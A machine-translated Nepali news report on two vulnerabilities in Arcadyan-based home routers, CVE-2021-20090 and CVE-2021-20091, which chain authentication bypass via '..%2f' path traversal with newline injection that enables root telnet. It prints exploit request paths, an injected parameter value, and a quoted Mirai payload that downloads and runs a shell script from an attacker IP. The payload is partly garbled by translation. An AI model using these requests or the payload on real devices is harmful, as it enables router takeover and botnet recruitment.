17 निर्माताहरूलाई असर गर्ने गृह राउटरहरूमा जोखिम

घर राउटरहरू विरुद्ध नेटवर्कमा ठूलो आक्रमण रेकर्ड गरिएको छ जसको फर्मवेयरले Arcadyan कम्पनीबाट HTTP सर्भर कार्यान्वयन प्रयोग गर्दछ। यन्त्रहरूमा नियन्त्रण प्राप्त गर्न, दुई कमजोरीहरूको संयोजन प्रयोग गरिन्छ जसले मूल अधिकारहरूसँग मनमानी कोडको रिमोट कार्यान्वयनलाई अनुमति दिन्छ। समस्याले Arcadyan, ASUS र Buffalo बाट ADSL राउटरहरूको व्यापक दायरालाई असर गर्छ, साथै Beeline ब्रान्डहरू (समस्या स्मार्ट बक्स फ्ल्यासमा पुष्टि गरिएको छ), Deutsche Telekom, Orange, O2, Telus, Verizon, Vodafone र अन्तर्गत आपूर्ति गरिएका उपकरणहरू। अन्य टेलिकम अपरेटरहरू। यो नोट गरिएको छ कि समस्या Arcadyan फर्मवेयरमा 10 वर्ष भन्दा बढीको लागि रहेको छ र यस समयमा 20 विभिन्न निर्माताहरूबाट कम्तिमा 17 उपकरण मोडेलहरूमा माइग्रेट गर्न व्यवस्थित भएको छ।

पहिलो जोखिम, CVE-2021-20090, प्रमाणीकरण बिना कुनै पनि वेब इन्टरफेस स्क्रिप्ट पहुँच गर्न सम्भव बनाउँछ। जोखिमको सार यो हो कि वेब इन्टरफेसमा, छविहरू, CSS फाइलहरू र JavaScript स्क्रिप्टहरू पठाइएका केही डाइरेक्टरीहरू प्रमाणीकरण बिना पहुँचयोग्य छन्। यस अवस्थामा, डाइरेक्टरीहरू जसको लागि प्रमाणीकरण बिना पहुँच अनुमति दिइएको छ प्रारम्भिक मास्क प्रयोग गरेर जाँच गरिन्छ। अभिभावक डाइरेक्टरीमा जानका लागि पथहरूमा "../" वर्णहरू निर्दिष्ट गर्दा फर्मवेयरले रोक लगाएको छ, तर "..%2f" संयोजन प्रयोग गर्न छोडिएको छ। यसरी, "http://192.168.1.1/images/..%2findex.htm" जस्ता अनुरोधहरू पठाउँदा सुरक्षित पृष्ठहरू खोल्न सम्भव छ।

दोस्रो जोखिम, CVE-2021-20091, एक प्रमाणीकृत प्रयोगकर्तालाई विशेष रूपमा ढाँचा गरिएका प्यारामिटरहरू app_abstract.cgi स्क्रिप्टमा पठाएर यन्त्रको प्रणाली सेटिङहरूमा परिवर्तन गर्न अनुमति दिन्छ, जसले प्यारामिटरहरूमा नयाँ लाइन क्यारेक्टरको उपस्थिति जाँच गर्दैन। । उदाहरणका लागि, पिङ सञ्चालन गर्दा, आक्रमणकारीले फिल्डमा “192.168.1.2%0AARC_SYS_TelnetdEnable=1” मान निर्दिष्ट गर्न सक्छ IP ठेगाना जाँच गरिँदै, र स्क्रिप्ट, सेटिङ फाइल सिर्जना गर्दा /tmp/etc/config/। .glbcfg ले "AARC_SYS_TelnetdEnable=1" लाई यसमा लेख्नेछ ", जसले telnetd सर्भरलाई सक्रिय गर्दछ, जसले रूट अधिकारहरूसँग अप्रतिबन्धित कमाण्ड शेल पहुँच प्रदान गर्दछ। त्यस्तै, AARC_SYS प्यारामिटर सेट गरेर, तपाइँ प्रणालीमा कुनै पनि कोड कार्यान्वयन गर्न सक्नुहुन्छ। पहिलो कमजोरीले यसलाई "/images/..%2fapply_abstract.cgi" को रूपमा पहुँच गरेर प्रमाणीकरण बिना समस्याग्रस्त लिपि चलाउन सम्भव बनाउँछ।

कमजोरीहरूको शोषण गर्न, आक्रमणकर्ताले वेब इन्टरफेस चलिरहेको नेटवर्क पोर्टमा अनुरोध पठाउन सक्षम हुनुपर्छ। आक्रमणको फैलावटको गतिशीलताको आधारमा, धेरै अपरेटरहरूले समर्थन सेवाद्वारा समस्याहरूको निदानलाई सरल बनाउन बाह्य नेटवर्कबाट आफ्नो उपकरणहरूमा पहुँच छोड्छन्। यदि इन्टरफेसमा पहुँच आन्तरिक नेटवर्कमा मात्र सीमित छ भने, "DNS रिबाइन्डिङ" प्रविधि प्रयोग गरेर बाह्य नेटवर्कबाट आक्रमण गर्न सकिन्छ। Mirai botnet मा राउटरहरू जडान गर्न कमजोरीहरू पहिले नै सक्रिय रूपमा प्रयोग भइरहेका छन्: POST /images/..%2fapply_abstract.cgi HTTP/1.1 जडान: प्रयोगकर्ता-एजेन्ट बन्द गर्नुहोस्: Dark action=start_ping&submit_button=ping.html& action_params=blink_time%3D5=&ARC_address212.192.241.7 0%1A ARC_SYS_TelnetdEnable=0&% 212.192.241.72AARC_SYS_=cd+/tmp; wget+http://212.192.241.72/lolol.sh; curl+-O+http://777/lolol.sh; chmod+0+lolol.sh; sh+lolol.sh&ARC_ping_status=4&TMP_Ping_Type=XNUMX

स्रोत: opennet.ru